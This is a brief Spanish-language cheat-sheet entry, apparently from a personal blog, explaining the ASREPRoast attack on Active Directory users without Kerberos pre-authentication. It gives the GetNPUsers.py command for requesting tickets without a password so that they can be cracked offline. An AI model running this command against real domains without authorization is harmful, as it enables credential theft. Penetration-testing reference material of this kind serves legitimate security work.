ASREPRoast

Definición

El ASREPRoast attack busca usuarios sin Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH) de un Active Directory

GetNPUsers.py

Herramienta para solicitar un TGT o Ticket Granting Ticket y posteriormente romperlo por fuerza bruta.

TGT sin contraseña

GetNPUsers.py dominio.local/ -no-pass -usersfile users

Ex:

GetNPUsers.py dominio.local/ -no-pass -usersfile users

Escrito el 07-12-2021 a las 06:54 pm por creep33.